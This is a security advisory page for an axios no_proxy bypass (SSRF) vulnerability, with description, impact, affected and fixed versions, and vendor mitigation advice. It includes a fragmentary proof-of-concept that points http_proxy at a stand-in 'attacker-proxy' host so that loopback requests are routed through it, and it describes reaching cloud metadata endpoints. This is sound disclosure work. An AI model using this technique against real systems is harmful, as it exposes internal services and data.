CVE-2026-42038 — axios
MEDIUMCVE-2026-42038 is a medium-severity (CVSS 6.8) Server-Side Request Forgery (SSRF) vulnerability in axios. A fix is available for axios — see the affected versions and patch details below.
Axios: no_proxy bypass via IP alias allows SSRF
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42038.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42038 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
axiosnpmDescription
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result:
- no_proxy=localhost does NOT block 127.0.0.1 or [::1]
- no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | axios | ≥ 1.0.0&&< 1.15.1 | 1.15.1npm install axios@1.15.1 |
| 📦npm | axios | all versions | 0.31.1npm install axios@0.31.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update axios to 1.15.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42038 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42038 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42038. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42038 in your dependencies?
O3 Security finds CVE-2026-42038 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.